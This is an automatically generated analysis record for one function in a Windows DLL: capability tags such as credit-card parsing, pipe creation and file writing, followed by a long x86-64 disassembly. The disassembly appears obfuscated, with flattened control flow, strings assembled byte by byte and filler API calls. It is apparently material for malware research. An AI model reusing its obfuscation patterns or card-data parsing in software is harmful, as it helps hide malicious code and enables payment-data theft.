Function at 0x1800343c0
Capabilities:
Accept command line arguments
Connect pipe
Create pipe
Parse credit card information
Swap mouse buttons
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb50]
sub rsp, 0xc50
mov rax, qword [0x1800a5088]
xor rax, rsp
mov qword [rbp + 0xb40], rax
mov edi, dword [rbp - 0x78]
mov r14d, r8d
mov r12, r9
mov qword [rbp - 0x68], r9
mov rsi, rdx
mov qword [rbp - 0x60], rdx
lea edx, [r8 + 0x453]
mov dword [rbp - 0x54], r8d
mov r9d, r8d
mov qword [rbp - 0x80], rcx
xor r8d, r8d
mov dword [rsp + 0x6c], edx
mov dword [rbp - 0x74], edi
mov r11, rcx
lea rcx, [0x180000000]
cmp r14d, edx
jae 0x180036281
mov rax, qword [rbp - 0x38]
mov r15, qword [rbp + 0x870]
mov ebx, dword [rbp - 0x18]
mov r13, qword [rbp + 0x870]
movzx r12d, byte [rsp + 0x58]
mov qword [rbp + 0x10], rax
mov r10, qword [rbp - 0x10]
mov r9d, 0x4d
cmp r14d, 0x137
ja 0x18003469e
je 0x18003468f
lea eax, [r14 - 0x36]
cmp eax, 0xf0
ja case.0x1800346dc.345
movzx eax, byte [rcx + rax + 0x39288]
mov ecx, dword [rcx + rax*4 + 0x39258]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov r8d, 1
mov word [rbp + 0x899], 0x6e
lea rdx, [0x180098c66]
lea rcx, [rbp + 0x89a]
call fcn.18005c310
mov edx, dword [rsp + 0x6c]
xor r8d, r8d
mov byte [rbp + 0x89b], 0
jmp case.0x1800346dc.345
mov eax, 0x6e
mov word [rbp + 0x8dc], ax
jmp case.0x1800346dc.345
mov r8d, 1
lea rdx, [0x180098e59]
lea rcx, [rbp + 0x89b]
call fcn.18005c310
mov edx, dword [rsp + 0x6c]
xor r8d, r8d
mov byte [rbp + 0x89c], 0
jmp case.0x1800346dc.345
mov r8d, 4
mov word [rbp + 0x894], 0x61
lea rdx, [0x180098ea6]
lea rcx, [rbp + 0x890]
call fcn.180062ed0
mov edx, dword [rsp + 0x6c]
xor r8d, r8d
jmp case.0x1800346dc.345
movsd xmm0, qword [str.Clas]
movsd qword [rbp + 0x908], xmm0
mov dword [rbp + 0x910], 0x73
jmp case.0x1800346dc.345
mov dword [rbp + 0x8d0], 0x61004e
mov dword [rbp + 0x8d4], 0x65006d
mov dword [rbp + 0x8d8], 0x690057
jmp case.0x1800346dc.345
mov eax, dword [0x18009903c]
lea rdx, [0x1800948c8]
mov dword [rbp + 0x900], eax
lea rcx, [rbp + 0x900]
movzx eax, word [0x180099040]
mov r8d, 1
mov word [rbp + 0x904], ax
call fcn.1800568cc
mov r8d, 2
lea rdx, [0x1800907e8]
lea rcx, [rbp + 0x906]
call fcn.18005c2b0
mov edx, dword [rsp + 0x6c]
xor r8d, r8d
jmp case.0x1800346dc.345
mov dword [rbp + 0x890], 0x65657266
jmp case.0x1800346dc.345
mov qword [rsp + 0x30], r8
lea r9, [rbp - 0x28]
mov qword [rsp + 0x28], r8
xor edx, edx
mov qword [rsp + 0x20], r8
xor ecx, ecx
mov r8d, 0xa2
mov dword [rbp - 0x28], 1
call fcn.18000cb60
xor r8d, r8d
mov rbx, rax
test eax, eax
jne 0x180034678
mov rcx, qword [0x1800a9130]
mov esi, r8d
cmp dword [rcx + 0x3c], r8d
jbe 0x180035a4a
nop dword [rax]
mov dword [rbp - 0x48], r8d
lea rdx, [rbp - 0x30]
mov eax, esi
mov r8d, 0x53
add rax, 4
add rax, rax
mov eax, dword [rcx + rax*8]
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x30], eax
call fcn.18002ce60
mov rcx, qword [0x1800a9130]
test eax, eax
mov r8d, 0
cmovne ebx, eax
inc esi
cmp esi, dword [rcx + 0x3c]
jb 0x180034630
mov edx, dword [rsp + 0x6c]
jmp case.0x1800346dc.345
mov edx, dword [rsp + 0x6c]
mov r14d, 0x5f
mov dword [rbp - 0x74], ebx
mov edi, ebx
mov dword [rbp - 0x78], ebx
jmp case.0x1800346dc.345
mov dword [rbp + 0x8b8], 0x730077
jmp case.0x1800346dc.345
cmp r14d, 0x26e
ja 0x180035b56
je 0x180035a53
lea eax, [r14 - 0x14f]
cmp eax, 0xf6
ja case.0x1800346dc.345
movzx eax, byte [rcx + rax + 0x393a8]
mov ecx, dword [rcx + rax*4 + 0x3937c]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov eax, 0x32
mov word [rbp + 0x8c2], ax
jmp case.0x1800346dc.345
mov dword [rbp + 0x8c4], 0x64002e
mov word [rbp + 0x8c8], r8w
jmp case.0x1800346dc.345
mov eax, 0x64
mov dword [rbp + 0x8e0], 0x77006f
mov word [rbp + 0x8de], ax
jmp case.0x1800346dc.345
mov eax, dword [0x1800990d0]
mov dword [rbp + 0x8bc], eax
movzx eax, word [0x1800990d4]
mov word [rbp + 0x8c0], ax
jmp case.0x1800346dc.345
mov ecx, 0x39
mov eax, ecx
sub eax, 0x39
je 0x18003475e
cmp eax, 1
je 0x180039193
mov r14, qword [rbp - 0x68]
jmp 0x180034812
movsx eax, byte [rsi]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x394a8]
mov ecx, dword [rdx + rax*4 + 0x394a0]
add rcx, rdx
jmp rcx
mov r14, qword [rbp - 0x68]
cmp dword [r14 + 4], 0
jne 0x1800347fd
mov rcx, qword [r14 + 8]
xor r9d, r9d
mov dword [rsp + 0x28], 0x62
xor edx, edx
mov qword [rsp + 0x20], r8
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffc
jae 0x1800347f5
movzx eax, byte [rsi]
lea r9, [rsp + 0x60]
mov byte [rsp + 0x60], al
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
je 0x1800347fd
mov eax, 6
jmp 0x180034b09
mov dword [r14 + 4], 1
mov dword [r14], 5
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ecx, 0x39
xor r8d, r8d
inc ecx
cmp ecx, 0x3b
jb 0x180034745
jmp case.0x180034857.5
mov word [rbp + 0x8e4], r8w
jmp case.0x1800346dc.345
mov r14, qword [rbp - 0x68]
mov eax, dword [r14]
cmp eax, 0x1b
ja case.default.0x180034857
lea rcx, [0x180000000]
mov ecx, dword [rcx + rax*4 + 0x394e0]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov esi, 0xc4
nop
mov eax, esi
sub eax, 0xc4
je 0x180035505
sub eax, 1
je 0x18003488c
cmp eax, 1
jne 0x1800348b1
mov r11, qword [rbp - 0x80]
xor r8d, r8d
mov rsi, qword [rbp - 0x60]
mov ecx, 0xb
jmp 0x180035526
xorps xmm0, xmm0
lea rcx, [rbp + 0x820]
movups xmmword [rbp + 0x820], xmm0
movups xmmword [rbp + 0x830], xmm0
movups xmmword [rbp + 0x840], xmm0
call qword [sym.imp.USER32.dll_DispatchMessageW]
inc esi
cmp esi, 0xc7
jb 0x180034860
mov rsi, qword [rbp - 0x60]
mov ecx, 0xc
mov eax, ecx
sub eax, 0xb
je case.0x180034497.56
cmp eax, 1
jne 0x180034985
movsx eax, byte [rsi]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39558]
mov ecx, dword [rdx + rax*4 + 0x39550]
add rcx, rdx
jmp rcx
cmp dword [r14 + 4], 0
jne 0x18003496e
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
call fcn.1800404b0
cmp rax, 0xfffffffffffffffd
jae 0x180034966
movzx eax, byte [rsi]
lea r9, [rsp + 0x60]
mov byte [rsp + 0x60], al
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], rdi
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x18003496e
mov dword [r14 + 4], 1
mov dword [r14], 6
mov edi, 1
mov ecx, 0xc
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
dec ecx
cmp ecx, 0xa
ja 0x1800348c4
mov edx, dword [rsp + 0x6c]
xor r8d, r8d
mov r14d, 0x245
jmp case.0x1800346dc.345
mov eax, 4
nop word [rax + rax]
cmp eax, 0x270
ja case.0x180034857.13
cmp eax, 4
je 0x180035b83
cmp eax, 0x13c
je case.0x180034857.0
add eax, 0x138
jmp 0x1800349b0
mov esi, 0x50
nop dword [rax + rax]
cmp esi, 0x55
jae 0x180035f32
mov eax, esi
sub eax, 0x50
je 0x180034a64
sub eax, 1
je 0x180034a1d
sub eax, 1
je 0x180034a10
sub eax, 1
je 0x180035d6f
cmp eax, 1
je 0x180034877
inc esi
jmp 0x1800349e0
mov word [rbp + 0x878], 0x4e
inc esi
jmp 0x1800349e0
mov r8d, 3
mov byte [rbp + 0x874], 0
lea rdx, [0x1800990fd]
lea rcx, [rbp + 0x874]
call fcn.18005c310
mov r8d, 1
mov byte [rbp + 0x877], 0
lea rdx, [0x180099125]
lea rcx, [rbp + 0x877]
call fcn.18005c310
inc esi
jmp 0x1800349e0
mov dword [rbp + 0x870], 0x504f5250
inc esi
jmp 0x1800349e0
mov eax, 0x36
nop word [rax + rax]
cmp eax, 0x1a28
ja case.0x180034857.24
cmp eax, 0x36
je 0x180035dc3
cmp eax, 0xd4a
je 0x180034aa2
add eax, 0xd14
jmp 0x180034a80
movzx eax, byte [rsp + 0x70]
test r10, r10
mov ecx, r8d
cmovne ecx, eax
mov byte [rsp + 0x70], cl
movzx esi, cl
test cl, cl
je 0x18003487e
mov qword [rsp + 0x20], r8
mov r9d, 4
lea r8, [rbp - 0x18]
xor edx, edx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov byte [rsp + 0x70], sil
jmp 0x180034877
mov r14, qword [rbp - 0x68]
mov ecx, 0x8d
nop dword [rax]
mov eax, ecx
sub eax, 0x8d
je 0x180034b43
sub eax, 0x61
je 0x180034b33
cmp eax, 0x61
jne 0x180034ecb
mov eax, edi
mov rcx, qword [rbp + 0xb40]
xor rcx, rsp
call fcn.180051f60
mov rbx, qword [rsp + 0xca0]
add rsp, 0xc50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x180034ecb
movzx eax, byte [rsi]
cmp al, 0x22
je 0x180034d7b
cmp al, 0x5c
jne 0x180034f3b
cmp dword [r14 + 4], 0
jne 0x180034d6f
mov esi, r8d
cmp esi, 0xa
ja case.default.0x180034b80
lea rdx, [0x180000000]
mov eax, esi
mov ecx, dword [rdx + rax*4 + 0x39590]
add rcx, rdx
jmp rcx
mov eax, 0x62
mov word [rbp + 0x7fe], ax
mov dword [rbp + 0x7ff], 0x63656a
jmp case.default.0x180034b80
mov eax, 0x6e
mov word [rbp + 0x884], ax
jmp case.default.0x180034b80
xor r9d, r9d
lea rax, [rbp + 0x7f0]
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
lea r8d, [r9 + 4]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, qword [rbp + 8]
xor edx, edx
mov r13, rax
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
xor r8d, r8d
lea r9d, [r8 + 0x4d]
jmp case.default.0x180034b80
movzx eax, byte [rsp + 0x50]
test r13, r13
mov ecx, r8d
cmovne ecx, eax
mov byte [rsp + 0x50], cl
cmp cl, 0
je 0x180034c32
mov qword [rsp + 0x20], r8
lea r9, [rbp + 4]
mov r8d, 0xf
lea rdx, [rbp + 0x880]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffd
jae 0x180034c97
mov rax, qword [r14 + 8]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
mov ecx, 0xbd
mov byte [rsp + 0x60], 0x5c
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
xor r8d, r8d
lea r9d, [rax + 0x4c]
jmp case.default.0x180034b80
xor r8d, r8d
mov dword [r14 + 4], 1
lea r9d, [r8 + 0x4d]
jmp case.default.0x180034b80
mov eax, 0x74
mov dword [rbp + 0x880], 0x69727453
mov word [rbp + 0x802], ax
jmp case.default.0x180034b80
mov eax, 0x57
mov dword [rbp + 0x886], 0x726f46
mov word [rbp + 0x889], ax
mov dword [rbp + 0x88a], 0x65746972
jmp case.default.0x180034b80
mov word [rbp + 0x7f0], r9w
jmp case.default.0x180034b80
mov byte [rbp + 0x88e], 0
mov byte [rsp + 0x50], 1
mov qword [rbp + 8], r8
jmp case.default.0x180034b80
mov eax, 0x65
mov dword [rbp + 0x7f1], 0x6c694679
mov word [rbp + 0x7f5], ax
mov eax, 0x6e69
mov word [rbp + 0x7fa], ax
mov dword [rbp + 0x7f6], 0x7070614d
jmp case.default.0x180034b80
mov eax, 0x67
mov word [rbp + 0x885], ax
jmp case.default.0x180034b80
mov eax, 0x67
mov word [rbp + 0x7fc], ax
mov eax, 0x4f
mov word [rbp + 0x7fd], ax
inc esi
lea eax, [rsi + 0xbc]
cmp eax, 0xc7
jb 0x180034b64
mov rsi, qword [rbp - 0x60]
mov dword [r14], 2
jmp 0x180034ebb
mov r14d, 0x53
cmp r14d, 0x2357
ja 0x180034ea1
je 0x180034e6a
cmp r14d, 0x53
je 0x180034e49
cmp r14d, 0xbff
je 0x180034e0c
cmp r14d, 0x17ab
jne 0x180034f1f
mov eax, 0x74
xorps xmm0, xmm0
mov word [rbp + 0x802], ax
mov r12b, 1
mov rax, qword [rbp - 0x68]
mov rcx, qword [rax + 8]
lea rsi, [rax + 8]
movups xmmword [rbp + 0x820], xmm0
movups xmmword [rbp + 0x830], xmm0
test rcx, rcx
je case.default.0x180034857
mov dword [rax], r8d
mov rax, qword [r11 + 0x20]
test rax, rax
je 0x180034dfa
mov rcx, qword [rcx]
call rax
mov edx, 0xae
mov rcx, rsi
call fcn.1800329d0
jmp 0x180034f12
mov eax, 0x6e
mov dword [rbp + 0x7f7], 0x69707061
mov word [rbp + 0x7fb], ax
mov eax, 0x65
mov word [rbp + 0x800], ax
mov eax, 0x63
mov word [rbp + 0x801], ax
mov dword [rbp + 0x7fc], 0x6a624f67
jmp 0x180034f1f
mov dword [rbp + 0x7f0], 0x46794d
mov dword [rbp + 0x7f3], 0x656c69
mov word [rbp + 0x7f6], r9w
jmp 0x180034f1f
xor r9d, r9d
lea rax, [rbp + 0x7f0]
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
lea r8d, [r9 + 4]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0x78], rax
cmp rax, 0
jne 0x180034f12
xor r12b, r12b
jmp 0x180034f12
cmp r14d, 0x2f03
je 0x180034ee9
cmp r14d, 0x3aaf
jne 0x180034f1f
mov r14, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x60]
mov r11, qword [rbp - 0x80]
mov ecx, 0x8d
xor r8d, r8d
lea r9d, [rcx - 0x40]
add ecx, 0x61
cmp ecx, 0x1b0
jb 0x180034af0
mov edx, dword [rsp + 0x6c]
mov r14d, 0x1f3
jmp case.0x1800346dc.345
test r12b, r12b
je 0x180034f1f
mov rcx, qword [rsp + 0x78]
lea r8, [rbp]
xor r9d, r9d
lea rdx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [rbp - 0x80]
mov r9d, 0x4d
xor r8d, r8d
add r14d, 0xbac
cmp r14d, 0x4608
jbe 0x180034d81
mov r14, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x60]
cmp dword [r14 + 4], 0
jne 0x180034ebb
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffe
jae 0x180034fa6
movzx eax, byte [rsi]
lea r9, [rsp + 0x60]
mov byte [rsp + 0x60], al
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x180034ebb
mov dword [r14 + 4], 1
jmp 0x180034ebb
mov r14d, 7
jmp 0x180034fc4
mov rsi, qword [rbp - 0x60]
mov eax, r14d
sub eax, 7
je 0x180034fe3
sub eax, 0x49
je 0x180035226
cmp eax, 0x49
je case.0x180034497.56
jmp 0x180035361
movsx eax, byte [rsi]
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x18003500d.35
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x395c8]
mov ecx, dword [rdx + rax*4 + 0x395bc]
add rcx, rdx
jmp rcx
mov rsi, qword [rbp - 0x68]
cmp dword [rsi + 4], 0
jne 0x180035226
mov edi, 0xae
mov eax, edi
sub eax, 0xab
je 0x1800350d2
sub eax, 1
je 0x18003509a
sub eax, 1
je 0x180035062
cmp eax, 1
jne 0x18003513e
movzx eax, word [0x180098c84]
mov word [rbp + 0x7f0], ax
movzx eax, byte [0x180098c86]
mov byte [rbp + 0x7f2], al
jmp 0x18003513e
mov r8d, 3
lea rdx, [0x180098c88]
lea rcx, [rbp + 0x7f2]
call fcn.18005c310
mov eax, dword [str.elDev]
mov dword [rbp + 0x7f4], eax
movzx eax, word [0x180098c90]
mov word [rbp + 0x7f8], ax
jmp 0x18003513e
movzx eax, word [0x180098c78]
lea rdx, str.pRequ
mov dword [rbp + 0x7f9], 0x656369
lea rcx, [rbp + 0x7f0]
mov word [rbp + 0x7fc], ax
mov dword [rbp + 0x7fe], 0x75656b
call qword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x18003513e
lea rdx, [0x180098a74]
mov dword [rbp + 0x806], 0x747365
lea rcx, [rbp + 0x809]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov r8d, 1
lea rdx, [0x180098c94]
lea rcx, [rbp + 0x7f0]
call fcn.180062ed0
movzx eax, word [0x180098c98]
lea rdx, [rbp + 0x7f0]
mov r8, qword [sym.imp.KERNEL32.dll_CancelDeviceWakeupRequest]
lea rcx, [rbp + 0x400]
mov word [rbp + 0x80b], ax
movzx eax, byte [0x180098c9a]
mov byte [rbp + 0x80d], al
call fcn.1800011d0
dec edi
cmp edi, 0xaa
ja 0x180035022
mov rcx, qword [rsi + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
call fcn.1800404b0
cmp rax, 0xfffffffffffffffe
jae 0x1800351ab
mov rax, qword [rbp - 0x60]
lea r9, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov ecx, 0xbd
movzx eax, byte [rax]
mov byte [rsp + 0x60], al
mov rax, qword [rsi + 8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x180035226
mov dword [rsi + 4], 1
jmp 0x180035226
mov rsi, qword [rbp - 0x68]
cmp dword [rsi + 4], 0
jne 0x180035220
mov rcx, qword [rsi + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffa
jae 0x180035219
mov rax, qword [rsi + 8]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
mov ecx, 0xbd
mov byte [rsp + 0x60], 0x75
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x180035220
mov dword [rsi + 4], 1
mov dword [rsi], 3
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
lea r14d, [rdi + 0x4f]
jmp 0x180035361
mov esi, 0x7c
nop
cmp esi, 0x172
ja 0x1800352ec
je 0x1800352cd
mov eax, esi
sub eax, 0x7c
je 0x18003528f
sub eax, 0x52
je 0x18003526f
cmp eax, 0x52
jne 0x180035352
mov byte [rbp + 0x86b], 0
jmp 0x180035352
movzx eax, word [0x180098d93]
mov word [rbp + 0x868], ax
movzx eax, byte [0x180098d95]
mov byte [rbp + 0x86a], al
jmp 0x180035352
mov r8d, 5
mov byte [rbp + 0x860], 0
lea rdx, [0x180098ce7]
lea rcx, [rbp + 0x860]
call fcn.180062ed0
mov r8d, 3
lea rdx, [0x180098d68]
lea rcx, [rbp + 0x865]
call fcn.18005c310
jmp 0x18003534f
mov r8d, 2
lea rdx, [0x180098cb7]
lea rcx, [rbp + 0x860]
call fcn.180062ed0
mov byte [rbp - 0x58], 1
jmp 0x18003534f
mov eax, esi
sub eax, 0x1c4
je 0x18003531e
cmp eax, 0x52
jne 0x180035352
movzx eax, byte [rbp - 0x58]
cmp r15, 0xffffffffffffffff
cmovne r8d, eax
test r8b, r8b
je case.0x180038a5d.19
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 7
jmp 0x180034b09
mov rcx, r8
movzx eax, byte [rbp + rcx + 0x860]
mov byte [rbp + rcx + 0x1b0], al
lea rcx, [rcx + 1]
test al, al
jne 0x180035321
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r15, rax
xor r8d, r8d
add esi, 0x52
cmp esi, 0x268
jb 0x180035240
add r14d, 0x49
mov r8d, 0
cmp r14d, 0xe2
jb 0x180034fc0
mov esi, 0x9b
nop dword [rax]
mov eax, esi
sub eax, 0x9b
je 0x1800354b2
sub eax, 1
je 0x1800353be
sub eax, 1
je 0x180035478
sub eax, 1
je 0x1800353ae
cmp eax, 1
je case.0x180034497.56
jmp 0x1800354f1
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x1800354f1
mov rax, qword [rbp - 0x60]
mov r14b, 1
mov word [rbp + 0x8ac], r8w
mov byte [rsp + 0x6a], r14b
movsx eax, byte [rax]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39624]
mov ecx, dword [rdx + rax*4 + 0x3961c]
add rcx, rdx
jmp rcx
mov rsi, qword [rbp - 0x68]
cmp dword [rsi + 4], 0
jne 0x180035470
mov rcx, qword [rsi + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffb
jae 0x180035469
mov rax, qword [rsi + 8]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
mov ecx, 0xbd
mov byte [rsp + 0x60], 0x75
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [rsi], 4
jmp 0x18003547e
mov dword [rsi + 4], 1
mov dword [rsi], 4
jmp 0x18003547e
movzx r14d, byte [rsp + 0x6a]
lea r8, [rbp + 0x8a0]
xor edx, edx
mov ecx, 0x1f0003
mov esi, 0x9d
call qword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
test rax, rax
jne 0x1800354a2
mov byte [rsp + 0x6a], al
jmp 0x1800354f1
test r14b, r14b
je 0x1800354f1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800354f1
movsd xmm0, qword [0x180098dbc]
lea rdx, [0x180098dec]
movzx eax, word [0x180098dc4]
lea rcx, [rbp + 0x8aa]
mov word [rbp + 0x8aa], r8w
mov r8d, 1
movsd qword [rbp + 0x8a0], xmm0
mov word [rbp + 0x8a8], ax
call fcn.18005c2b0
inc esi
mov r8d, 0
cmp esi, 0xa0
jb 0x180035380
mov edx, dword [rsp + 0x6c]
mov r14d, 0x21c
xor r8d, r8d
jmp case.0x1800346dc.345
mov r14, qword [rbp - 0x68]
mov ecx, 0xb
jmp 0x180035526
mov r14, qword [rbp - 0x68]
mov eax, ecx
sub eax, 0xb
je 0x180035544
sub eax, 1
je case.0x18003556e.9
cmp eax, 1
je case.0x180034497.56
jmp 0x180035a2f
movsx eax, byte [rsi]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39698]
mov ecx, dword [rdx + rax*4 + 0x3965c]
add rcx, rdx
jmp rcx
mov eax, 0x10
cmp eax, 0x10
je 0x1800355a0
cmp eax, 0x1d0
jne 0x1800355b3
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800355d5
xor al, al
mov byte [rsp + 0x69], al
jmp case.0x18003556e.9
mov byte [rsp + 0x69], 1
mov qword [r14], 1
mov dword [rbp - 0x70], 0xa
add eax, 0x1c0
cmp eax, 0x380
jbe 0x180035575
mov rax, qword [r11]
test rax, rax
je 0x1800355c9
call rax
mov dword [r14], 0x19
jmp case.0x18003556e.9
cmp byte [rsp + 0x69], 0
je case.0x18003556e.9
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800355f0
lea r9, [rbp - 4]
mov qword [rsp + 0x20], 0
lea rdx, [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
jmp case.0x18003556e.9
mov r14d, 0x3f
nop dword [rax]
mov eax, r14d
sub eax, 0x3d
je 0x180035a1b
sub eax, 1
je 0x18003565e
cmp eax, 1
jne 0x180035778
mov rax, qword [r11 + 8]
test rax, rax
je 0x180035778
call rax
jmp 0x180035778
mov rax, qword [rbp - 0x68]
mov edi, r8d
mov esi, 6
mov dword [rax], 0x1a
cmp edi, 5
ja case.default.0x180035685
mov eax, edi
mov ecx, dword [rdx + rax*4 + 0x39710]
add rcx, rdx
jmp rcx
mov dword [rbp + 0x809], 0x7025206e
jmp case.default.0x180035685
movzx eax, word [0x180098ef0]
mov word [rbp + 0x7fc], ax
movzx eax, byte [0x180098ef2]
mov byte [rbp + 0x7fe], al
mov eax, dword [0x180098f19]
mov dword [rbp + 0x7ff], eax
movzx eax, byte [0x180098f1d]
mov byte [rbp + 0x803], al
jmp case.default.0x180035685
movzx eax, word [0x180098f90]
mov word [rbp + 0x7f4], ax
movzx eax, byte [0x180098f92]
mov byte [rbp + 0x7f6], al
mov dword [rbp + 0x7f0], 0x69676552
jmp case.default.0x180035685
mov r8d, 1
mov byte [rbp + 0x7f7], 0
lea rdx, [0x180098fa5]
lea rcx, [rbp + 0x7f7]
call fcn.18005c310
mov dword [rbp + 0x7f8], 0x69766544
mov byte [rbp + 0x7fc], 0
jmp 0x180035765
mov eax, dword [0x180098ffb]
mov dword [rbp + 0x804], eax
movzx eax, byte [0x180098fff]
mov byte [rbp + 0x808], al
jmp case.default.0x180035685
mov r8, qword [sym.imp.USER32.dll_RegisterDeviceNotificationA]
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x400]
mov byte [rbp + 0x80d], 0
call fcn.1800011d0
lea rdx, [0x180000000]
inc edi
sub rsi, 1
jne 0x180035670
mov r11, qword [rbp - 0x80]
lea rdx, [0x180000000]
dec r14d
mov r8d, 0
cmp r14d, 0x3c
ja 0x180035630
mov rsi, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx + 0x10]
test rax, rax
je case.0x18003556e.9
call rax
jmp case.0x18003556e.9
mov rax, qword [r11 + 0x18]
test rax, rax
je 0x1800357bd
call rax
mov dword [r14], 0x1a
jmp case.0x18003556e.9
mov dword [r14], 7
jmp case.0x18003556e.9
mov dword [r14], 0xa
jmp case.0x18003556e.9
mov dword [r14], 0xe
jmp case.0x18003556e.9
mov rax, qword [r11 + 0x48]
test rax, rax
je case.0x18003556e.9
call rax
jmp case.0x18003556e.9
mov rax, qword [r11 + 0x50]
test rax, rax
je 0x18003580c
call rax
mov dword [r14], 0x1b
jmp case.0x18003556e.9
mov eax, 0xad
nop dword [rax]
cmp eax, 0xad
je 0x18003583a
add eax, 0x42e7
cmp eax, 0x42e7
jbe 0x180035820
mov edi, 0x8d
jmp 0x1800358a3
xor edx, edx
mov qword [r14], 0x11
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x20], 5
lea r8d, [rdx + 0x12]
